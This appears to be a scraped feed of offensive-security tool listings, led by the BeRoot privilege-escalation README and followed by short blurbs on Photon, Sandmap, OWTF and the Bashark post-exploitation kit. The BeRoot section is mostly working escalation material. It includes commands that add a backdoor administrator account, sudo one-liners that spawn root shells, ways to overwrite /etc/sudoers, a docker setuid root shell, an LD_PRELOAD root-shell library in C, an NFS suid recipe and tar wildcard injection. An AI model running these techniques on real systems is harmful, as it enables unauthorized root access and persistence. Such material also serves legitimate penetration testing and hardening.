    Except one method, this tool is only used to detect and not to exploit. If something is found, templates could be used to exploit it. To use it, just create a test.bat file located next to the service / DLL used. It should execute it once called. Depending on the Redistributable Packages installed on the target host, these binaries may not work.


    Check the Following:

    • BeRoot For Windows 
    • BeRoot For Linux

    BeRoot For Windows To Check Common Windows Misconfigurations

    Run it

    |===================================================
    |                                                                    |
    |                    Windows Privilege Escalation                    |
    |                                                                    |
    |                          ! BANG BANG !                             |
    |                                                                    |
    |===================================================

    usage: beRoot.exe [-h] [-l] [-w] [-c CMD]

    Windows Privilege Escalation

    optional arguments:
      -h, --help         show this help message and exit
      -l, --list         list all softwares installed (not run by default)
      -w, --write        write output
      -c CMD, --cmd CMD  cmd to execute for the webclient check (default: whoami)

    All detection methods are described on the following document.

    Path containing space without quotes

    Consider the following file path:

    C:\Program Files\Some Test\binary.exe

    If the path contains spaces and no quotes, Windows would try to locate and execute programs in the following order:
    • C:\Program.exe
    • C:\Program Files\Some.exe
    • C:\Program Files\Some Folder\binary.exe

    Following this example, if "C:\" folder is writable, it would be possible to create a malicious executable binary called "Program.exe". If "binary.exe" run with high privilege, it could be a good way to escalate our privilege.

    Note: BeRoot realized these checks on every service path, scheduled tasks and startup keys located in HKLM.

    How to exploit: 

    The vulnerable path runs as:

    • a service: create a malicious service (or compile the service template)
    • a classic executable: Create your own executable.

    Writable directory

    Consider the following file path:

    C:\Program Files\Some Test\binary.exe

    If the root directory of "binary.exe" is writable ("C:\Program Files\Some Test") and run with high privilege, it could be used to elevate our privileges.

    Note: BeRoot realized these checks on every service path, scheduled tasks and startup keys located in HKLM.

    How to exploit:

    • The service is not running:

    Replace the legitimate service by our own, restart it or check how it's triggered (at reboot, when another process is started, etc.).

    • The service is running and could not be stopped:

    Most exploitation will be like that, checks for dll hijacking and try to restart the service using previous technics.

    Writable directory on %PATH%

    This technic affects the following Windows version:

    • 6.0  => Windows Vista / Windows Server 2008
    • 6.1  => Windows 7 / Windows Server 2008 R2
    • 6.2  => Windows 8 / Windows Server 2012

    On a classic Windows installation, when DLLs are loaded by a binary, Windows would try to locate it using these following steps:

    - Directory where the binary is located
    - C:\Windows\System32
    - C:\Windows\System
    - C:\Windows\
    - Current directory where the binary has been launched
    - Directory present in %PATH% environment variable

    If a directory on the %PATH% variable is writable, it would be possible to realize DLL hijacking attacks. Then, the goal would be to find a service which loads a DLL not present on each of these path. This is the case of the default "IKEEXT" service which loads the inexistant "wlbsctrl.dll".

    How to exploit: 

    Create a malicious DLL called "wlbsctrl.dll" (use the DLL template) and add it to the writable path listed on the %PATH% variable. Start the service "IKEEXT". To start the IKEEXT service without high privilege, a technic describe on the french magazine MISC 90 explains the following method:

    Create a file as following:

    C:\Users\bob\Desktop>type test.txt
    [IKEEXTPOC]
    MEDIA=rastapi
    Port=VPN2-0
    Device=Wan Miniport (IKEv2)
    DEVICE=vpn
    PhoneNumber=127.0.0.1

    Use the "rasdial" binary to start the "IKEEXT" service. Even if the connection failed, the service should have been started.

    C:\Users\bob\Desktop>rasdial IKEEXTPOC test test /PHONEBOOK:test.txt

    Or you can try using the Ikeext-Privesc powershell script.

    MS16-075

    For French user, I recommend the article written on the MISC 90 which explain in details how it works.

    This vulnerability has been corrected by Microsoft with MS16-075, however many servers are still vulnerable to this kind of attack. I have been inspired from the C++ POC available here

    Here are some explaination (not in details):

    1. Start Webclient service (used to connect to some shares) using some magic tricks (using its UUID)
    2. Start an HTTP server locally
    3. Find a service which will be used to trigger a SYSTEM NTLM hash.
    4. Enable file tracing on this service modifying its registry key to point to our webserver (\\127.0.0.1@port\tracing)
    5. Start this service
    6. Our HTTP Server start a negotiation to get the SYSTEM NTLM hash
    7. Use of this hash with SMB to execute our custom payload (SMBrelayx has been modify to realize this action)
    8. Clean everything (stop the service, clean the regritry, etc.).

    How to exploit: 

    BeRoot realize this exploitation, change the "-c" option to execute custom command on the vulnerable host.

    beRoot.exe -c "net user Zapata LaLuchaSigue /add"
    beRoot.exe -c "net localgroup Administrators Zapata /add"

    AlwaysInstallElevated registry key

    AlwaysInstallElevated is a setting that allows non-privileged users the ability to run Microsoft Windows Installer Package Files (MSI) with elevated (SYSTEM) permissions. To allow it, two registry entries have to be set to 1:

    • HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated
    • HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated

    How to exploit: 

    create a malicious msi binary and execute it.

    Unattended Install files

    This file contains all the configuration settings that were set during the installation process, some of which can include the configuration of local accounts including Administrator accounts. These files are available on these following path:

    C:\Windows\Panther\Unattend.xml
    C:\Windows\Panther\Unattended.xml
    C:\Windows\Panther\Unattend\Unattended.xml
    C:\Windows\Panther\Unattend\Unattend.xml
    C:\Windows\System32\Sysprep\unattend.xml 
    C:\Windows\System32\Sysprep\Panther\unattend.xml


    How to exploit: 

    Open the unattend.xml file to check if passwords are present on it. Should looks like:

    <UserAccounts>
        <LocalAccounts>
            <LocalAccount>
                <Password>
                    <Value>RmFrZVBhc3N3MHJk</Value>
                    <PlainText>false</PlainText>
                </Password>
                <Description>Local Administrator</Description>
                <DisplayName>Administrator</DisplayName>
                <Group>Administrators</Group>
                <Name>Administrator</Name>
            </LocalAccount>
        </LocalAccounts>
    </UserAccounts>


    Other possible misconfigurations

    Other tests are realized to check if it's possible to:

    • Modify an existing service
    • Create a new service
    • Modify a startup key (on HKLM)
    • Modify directory where all scheduled tasks are stored: "C:\Windows\system32\Tasks"


    BeRoot For Linux

    BeRoot is a post exploitation tool to check common misconfigurations on Linux and Mac OS to find a way to escalate our privilege.

    To understand privilege escalation on these systems, you should understand at least two main notions: LOLBins (this name has been given for Windows binaries but it should be correct to use it for Linux as well) and Wildcards. 
    This Readme explains all technics implemented by BeRoot to better understand how to exploit it.

    LOLBins

    LOLBins could be used to gain root privilege on a system. These binaries allow a user to execute arbitrary code on the host, so imagine you could have access to one of them with sudo privilege (suid binary or if it's allowed on the sudoers file), you should be able to execute system command as root.

    Here is a list of well-known binaries:
    • awk
    sudo awk 'BEGIN {system("/bin/sh")}'
    • docker (if you can call docker, no need to run it with sudo)
    docker run -v /home/${USER}:/h_docs ubuntu bash -c "cp /bin/bash /h_docs/rootshell && chmod 4777 /h_docs/rootshell;"&& ~/rootshell -p
    • find
    sudo find . -type d -exec sh -c id {} \;
    • file viewer
    less:!bash
    man: !bash or $ sudo man -P whoami man
    more: !bash
    • file modifications (cannot be consider as LOLbins but useful for privilege escalation)
    cp:sudo cp -f your_file /etc/sudoers
    mv:sudo mv -f your_file /etc/sudoers

    • ftp / sftp
    ftp> ! ls
    • git
    export PAGER=./runme.sh
    sudo git -p help
    • mount
    sudo mount -o bind /bin/bash /bin/mount
    sudo mount
    • nmap
    echo "os.execute('/bin/sh')"> /tmp/script.nse
    sudo nmap --script=/tmp/script.nse
    • rsync
    echo "whoami > /tmp/whoami"> /tmp/tmpfile
    sudo rsync  -e 'sh /tmp/tmpfile' /dev/null 127.0.0.1:/dev/null 2>/dev/null

    cat whoami 
    root
    • scripting languages
    lua: os.execute('/bin/sh')
    perl: sudo  perl -e 'exec "/bin/sh";'
    python: sudo  python -c 'import os;os.system("/bin/sh")'
    ruby: sudo ruby -e 'exec "/bin/sh"'
    • tar
    sudo tar cf archive.tar * --checkpoint=1 --checkpoint-action=exec=sh
    text editor
    vi: sudo vi -c '!sh' or :!bash or :set shell=/bin/bash:shell or :shell
    vim : sudo vim -c '!sh' or :!bash or :set shell=/bin/bash:shell or :shell
    • tcpdump
    echo "whoami > /tmp/whoami"> /tmp/tmpfile
    sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z ./tmpfile -Z root

    cat whoami 
    root
    • wget (overwrite system file - need a web server)
    sudo wget http://127.0.0.1/sudoers -O /etc/sudoers
    • zip
    echo "/bin/sh"> /tmp/run.sh
    sudo zip z.zip * -T -TT /tmp/run.sh

    Note: If you have more binary example, do not hesitate to open an issue explaining the technic and I will add it on the list.

    Having sudo access on these binaries do not mean you could always manage to execute commands on the system. For example, using the mount binary with a limited user could give you the following well known error, if it's well configured:

    mount: only root can use "--options" option

    Wildcards

    If you have never heard about Unix wildcards, I suggest you read this very well explained article. Using wildcards could lead into code execution if this one is not well called.

    For our example, we want to get a shell ("sh") using the tar command to execute code on the server. As explained on the LOLBin section, we could get it doing:

    tar cf archive.tar * --checkpoint=1 --checkpoint-action=exec=sh

    We consider a test file which is used to realize an archive of all files present on the directory.

    user@host:~$ cat test.sh 
    tar cf archive.tar * 

    Here are the steps to exploit this bad configuration:
    • open nano (with no arguments)
    • write something in it
    save file using tar arguments as file names:
    • --checkpoint-action=exec=sh
    • --checkpoint=1
    Once created, this is what you will find:

    user@host:~$ ls -la 
    total 32
    -rw-r--r-- 1 user user     5 Jan 12 10:34 --checkpoint-action=exec=sh
    -rw-r--r-- 1 user user     3 Jan 12 10:33 --checkpoint=1
    drwxr-xr-x 2 user user  4096 Jan 12 10:34 .
    drwxr-xr-x 7 user user  4096 Jan 12 10:29 ..
    -rwxr-xr-x 1 user user    22 Jan 12 10:32 test.sh

    If this file is executed as root (from cron table, from sudoers, etc.), you should gain root access on the system.

    user@host:~$ sudo ./test.sh 
    sh-4.3# id
    uid=0(root) gid=0(root) groups=0(root)

    So depending on which binary and how the wildcard are used, the exploitation can be done or not. So on our example, the exploitation would not work anymore if the file would be like this:

    user@host:~$ cat test.sh
    tar cf archive.tar *.txt

    Thus, using a tool to detect these misconfigurations is very difficult. A manually analyse should be done to check if it's a false positive or not.

    Sensitive files

    Lots of file are run with high permissions on the system (e.g cron files, services, etc.). Here is an example of intersting directories and files:
    • /etc/init.d
    • /etc/cron.d 
    • /etc/cron.daily
    • /etc/cron.hourly
    • /etc/cron.monthly
    • /etc/cron.weekly
    • /etc/sudoers
    • /etc/exports
    • /etc/at.allow
    • /etc/at.deny
    • /etc/crontab
    • /etc/cron.allow
    • /etc/cron.deny
    • /etc/anacrontab
    • /var/spool/cron/crontabs/root

    Here are the tests done by BeRoot:

    • checks if you have access with write permission on these files.
    • checks inside the file, to find other paths with write permissions.
    • checks for wildcards (this check could raise false positives, but could also get you useful information). Sometimes, you may need write permissions on a specific folder to create your malicious file (as explained on the wildcard section), this check is not done because it could be done by two many ways on the script and it's difficult to automate.

    Suid binaries

    SUID (Set owner User ID up on execution) is a special type of file permissions given to a file. SUID is defined as giving temporary permissions to a user to run a program/file with the permissions of the file owner rather that the user who runs it. So if suid file is owned by root, you should execute it using root privilege.

    BeRoot prints all suid files because a manually analyse should be done on each binary. However, it realizes some actions:
    • checks if we have write permissions on these binary (why not ? :))
    • checks if a LOLBin is used as suid to be able to execute system commands using it (remember you could have suid LOLBin without beeing able to exectute commands - checks LOLBin section with the false positive example using mount).
    To analyse manually, checking for .so files loaded from a writable path should be a great idea (this check has not been implemented on BeRoot):

    strace [SUID_PATH] 2>&1 | grep -i -E "open|access|no such file"

    NFS Root Squashing

    If no_root_squash appears in /etc/exports, privilege escalation may be done. More information can be found here.

    Exploitation:

    • mkdir /tmp/nfsdir  # create dir
    • mount -t nfs 192.168.1.10:/shared /tmp/nfsdir # mount directory 
    • cd /tmp/nfsdir
    • cp /bin/bash . # copy wanted shell 
    • chmod +s bash # set suid permission

    LD_PRELOAD

    If LD_PRELOAD is explicitly defined on sudoers file, it could be used to elevate our privilege. \

    For example:

    Defaults        env_keep += LD_PRELOAD

    Create a share object:

    #include <stdio.h>
    #include <sys/types.h>
    #include <stdlib.h>
    void _init() {
    unsetenv("LD_PRELOAD");
    setgid(0);
    setuid(0);
    system("/bin/sh");
    }

    Compile it:

    gcc -fPIC -shared -o shell.so shell.c -nostartfiles

    If you have a binary that you could launch with sudo and NOPASSWD, launch it with LD_PRELOAD pointing to your shared object:

    sudo LD_PRELOAD=/tmp/shell.so find

    Sudoers file

    Most of privilege escalations on Linux servers are done using bad sudo configurations. This configuration can be seen in /etc/sudoers file. 
    To better understand the BeRoot workflow, you should have an idea on how a sudoers line is composed.

    Basic line pattern:

    users  hosts = (run-as) tags: commands

    Here is an example using aliases.

    User_Alias ADMINS = admin, user, root
    Cmnd_Alias ADMIN_CMDS = /sbin/service, /usr/sbin/iptables, python /tmp/file.py
    ADMINS ALL = (ALL) NOPASSWD: ADMIN_CMDS

    So users "admin", "user" and "root" could execute "service", "iptables" and "file.py" without password needed (thanks to NOPASSWD):

    admin,user,root ALL = (ALL) NOPASSWD: /sbin/service, /usr/sbin/iptables, python /tmp/file.py

    So BeRoot will analyse all rules:

    if it affects our user or our user's group:
    • check if we have write permissions on all possible commands (in our example, it will test "service", "iptables", "python" and "/tmp/files.py")
    • check for LOLBins
    • check for LOLBins + wildcards
    • check if we can impersonate another user ("su" command)
    • check write permissions on sensitive files and suid bin for this user
    • realize again all these checks on the sudoers file using this new user

    Download BeRoot

    Photon- A Web Crawler which Extracts URLs, E-mails, Files, Website Accounts and much more.

    $
    0
    0


    Incredibly fast crawler which extracts urls, emails, files, website accounts and much more.


    • Photon is a lightning fast web crawler which extracts URLs, files, intel & endpoints from a target.
    • 160 requests per second while extensive data extraction is just another day for Photon!


    Photon has been tested on Linux (Arch, Debian, Ubnutu), Termux, Windows (7 & 10), Mac, and works as expected.

    Main Features

    Data Extraction

    Photon extracts the following data while crawling by default:
    • URLs (in-scope & out-of-scope)
    • URLs with parameters (example.com/gallery.php?id=2)
    • Intel (emails, social media accounts, amazon buckets etc.)
    • Files (pdf, png, xml etc.)
    • JavaScript files & Endpoints present in them
    • Strings based on custom regex pattern

    The extracted information is saved in an organized manner.


    Intelligent Multithreading

    Here's a secret, most of the tools floating on the internet aren't properly multi-threaded even if they are supposed to. They either supply a list of items to threads which results in multiple threads accessing the same item or they simply put a thread lock and end up rendering multi-threading useless.

    But Photon is different or should I say "genius"? Take a look at this and decide yourself.

    Ninja Mode

    In Ninja Mode, 3 online services are used to make requests to the target on your behalf.

    So basically, now you have 4 clients making requests to the same server simultaneously which gives you a speed boost if you have a slow connection, minimizes the risk of connection reset as well as delays requests from a single client.

    Here's a comparison generated by Quark where the lines represent threads:



    Plugins

    Photon's capabilites can be further extended by using plugins.

    Available plugins:

    • dnsdumpster: Generates an image containing the DNS data of the target domain.
    • Exporter: Plugin to export results in JSON, support for more formats is being worked on.

    Plugins in active development:
    • Quark: A plugin to plot a graph making it easier to inspect relationships between different web-pages using Quark.
    • XSStrike: Modular & targeted version of XSStrike to be used with Photon.
    • dnsdumpster: A new version of the plugin is in development which will save the DNS data in a nicely formatted HTML file.

    Usage

    usage: photon.py [options]

      -u --url              root url
      -l --level            levels to crawl
      -t --threads          number of threads
      -d --delay            delay between requests
      -c --cookie           cookie
      -r --regex            regex pattern
      -s --seeds            additional seed urls
      -e --export           export formatted result
      -o --output           specify output directory
      --timeout             http requests timeout
      --ninja               ninja mode
      --update              update photon
      --dns                 dump dns data
      --only-urls           only extract urls
      --user-agent          specify user-agent(s)

    Frequent & Seemless Updates

    The project is under heavy development and updates for fixing bugs. optimizing performance & new features are being rolled everyday.

    If you would like to see features and issues that are being worked on, you can do that on Development project board.

    Updates can be installed & checked for with the --update option. Photon has seamless update capabilities which means you can update Photon without losing any of your saved data.

    Download Photon

    Sandmap- A Tool Supporting Network And System Reconnaissance Using Nmap Engine

    $
    0
    0
    Sandmap- A Tool Supporting Network And System Reconnaissance Using Nmap Engine


    Sandmap is a tool supporting network and system reconnaissance using the massive Nmap engine. 


    Description

    Sandmap is a tool supporting network and system reconnaissance using the massive Nmap engine. It provides a user-friendly interface, automates and speeds up scanning and allows you to easily use many advanced scanning techniques.

    Key Features

    • simple CLI with the ability to run pure Nmap engine
    • predefined scans included in the modules
    • support Nmap Scripting Engine (NSE) with scripts arguments
    • TOR support (with proxychains)
    • multiple scans at one time
    • at this point: 31 modules with 459 scan profiles


    How To Use

    It's simple:

    # Clone this repository
    git clone --recursive https://github.com/trimstray/sandmap

    # Go into the repository
    cd sandmap

    # Install
    ./setup.sh install

    # Run the app
    sandmap
    • symlink to bin/sandmap is placed in /usr/local/bin
    • man page is placed in /usr/local/man/man8

    Command Line

    Before using the Sandmap read the Command Line introduction.

    Configuration

    The etc/main.cfg configuration file has the following structure:

    # shellcheck shell=bash

    # Specifies the default destination.
    # Examples:
    #   - dest="127.0.0.1,8.8.8.8"
    dest="127.0.0.1"

    # Specifies the extended Nmap parameters.
    # Examples:
    #   - params="--script ssl-ccs-injection -p 443"
    params=""

    # Specifies the default output type and path.
    # Examples:
    #   - report="xml"
    report=""

    # Specifies the TOR connection.
    # Examples:
    #   - tor="true"
    tor=""

    # Specifies the terminal type.  348838
    # Examples:
    #   - terminal="internal"
    terminal="internal"


    Requirements

    Sandmap uses external utilities to be installed before running:


    This tool is working with:

    • GNU/Linux (testing on Debian and CentOS)
    • Bash (testing on 4.4.19)
    • Nmap (testing on 7.70)

    Also you will need root access.

    Download SandMap

    OWASP Offensive Web Testing Framework (OWTF) Project Written in Python

    $
    0
    0


    OWTF- Offensive Web Testing Framework: 



    A framework which tries to unite great tools and make PenTesting more efficient.


    OWASP OWTF is a project focused on penetration testing efficiency and alignment of security tests to security standards like the OWASP Testing Guide (v3 and v4), the OWASP Top 10, PTES and NIST so that pentesters will have more time to
    • See the big picture and think out of the box
    • More efficiently find, verify and combine vulnerabilities
    • Have time to investigate complex vulnerabilities like business logic/architectural flaws or virtual hosting sessions
    • Perform more tactical/targeted fuzzing on seemingly risky areas
    • Demonstrate true impact despite the short timeframes we are typically given to test.
    • The tool is highly configurable and anybody can trivially create simple plugins or add new tests in the configuration files without having any development experience.

    Note: This tool is however not a silverbullet and will only be as good as the person using it: Understanding and experience will be required to correctly interpret tool output and decide what to investigate further in order to demonstrate impact.



    Requirements

    1. OWTF is developed on KaliLinux and macOS but it is made for Kali Linux (or other Debian derivatives)
    2. OWTF supports both Python2 and Python3.

    Installation

    Recommended:
    • Using a virtualenv is highly recommended!

    Manually set up the database
    Replace the variables db_name, $db_user and $db_pass with values from the settings.py file. Make sure the values are exactly the same.
    • Start the postgreSQL server,
    macOS:brew install postgresql and pg_ctl -D /usr/local/var/postgres start
    Kali: sudo systemctl enable postgresql; sudo systemctl start postgresql or sudo service postgresql start

    • Create the owtf_db_user user,
    macOS:psql postgres -c "CREATE USER $db_user WITH PASSWORD '$db_pass';"
    Kali:sudo su postgres -c "psql -c \"CREATE USER $db_user WITH PASSWORD '$db_pass'\""

    • Create the database,

    macOS: psql postgres -c "CREATE DATABASE $db_name WITH OWNER $db_user ENCODING 'utf-8' TEMPLATE template0;"
    Kali:sudo su postgres -c "psql -c \"CREATE DATABASE $db_name WITH OWNER $db_user ENCODING 'utf-8' TEMPLATE template0;\""

    pip install git+https://github.com/owtf/owtf#egg=owtf or clone the repo and python setup.py develop.

    If you want to change the database password in the Docker Compose setup, edit the environment variables in the docker-compose.yml file.

    To run OWTF on Windows or MacOS, OWTF uses Docker Compose. You need to have Docker Compose installed (check by docker-compose -v). After installing Docker Compose, simply run make compose and open localhost:8009 for the OWTF web interface.


    Install on OSX

    Dependencies: Install Homebrew (https://brew.sh/) and follow the steps given below:

    $ virtualenv <venv name>
    $ source <venv name>/bin/activate
    $ brew install coreutils gnu-sed openssl
    # We need to install 'cryptography' first to avoid issues
    $ pip install cryptography --global-option=build_ext --global-option="-L/usr/local/opt/openssl/lib" --global-option="-I/usr/local/opt/openssl/include"
    $ git clone <this repo>
    $ cd owtf
    $ python setup.py install
    # Run OWTF!
    $ owtf


    Features

    • Resilience: If one tool crashes OWTF, will move on to the next tool/test, saving the partial output of the tool until it crashed.
    • Flexible: Pause and resume your work.
    • Tests Separation: OWTF separates its traffic to the target into mainly 3 types of plugins:
    • >Passive : No traffic goes to the target
    • > Semi Passive : Normal traffic to target
    • > Active: Direct vulnerability probing
    • Extensive REST API.
    • Has almost complete OWASP Testing Guide(v3, v4), Top 10, NIST, CWE coverage.
    • Web interface: Easily manage large penetration engagements easily.
    • Interactive report:
    • Automated plugin rankings from the tool output, fully configurable by the user.
    • Configurable risk rankings
    • In-line notes editor for each plugin.

    All screenshots by OWTF Team

      Bashark- Post Exploitation Toolkit Written in Pure Bash

      $
      0
      0


      Bashark- Post Exploitation Toolkit Written in Pure Bash


      Bashark aids Pentesters and Security Researchers during the post-exploitation phase of security audits.

      Usage

      To launch Bashark on compromised host, simply source the bashark.sh script from terminal:
      $ source bashark.sh Then type help to see Bashark's help menu

      Features


      • Single Bash script
      • Lightweight and fast
      • Multi-platform: Unix, OSX, Solaris etc.
      • No external dependencies
      • Immune to heuristic and behavioural analysis
      • Built-in aliases of often used shell commands
      • Extends system shell with post-exploitation oriented functionalities
      • Stealthy, with custom cleanup routine activated on exit
      • Easily extensible (add new commands by creating Bash functions)
      • Full tab completion

      See Demo here

      Download Bashark
      Viewing all 855 articles
      Browse latest View live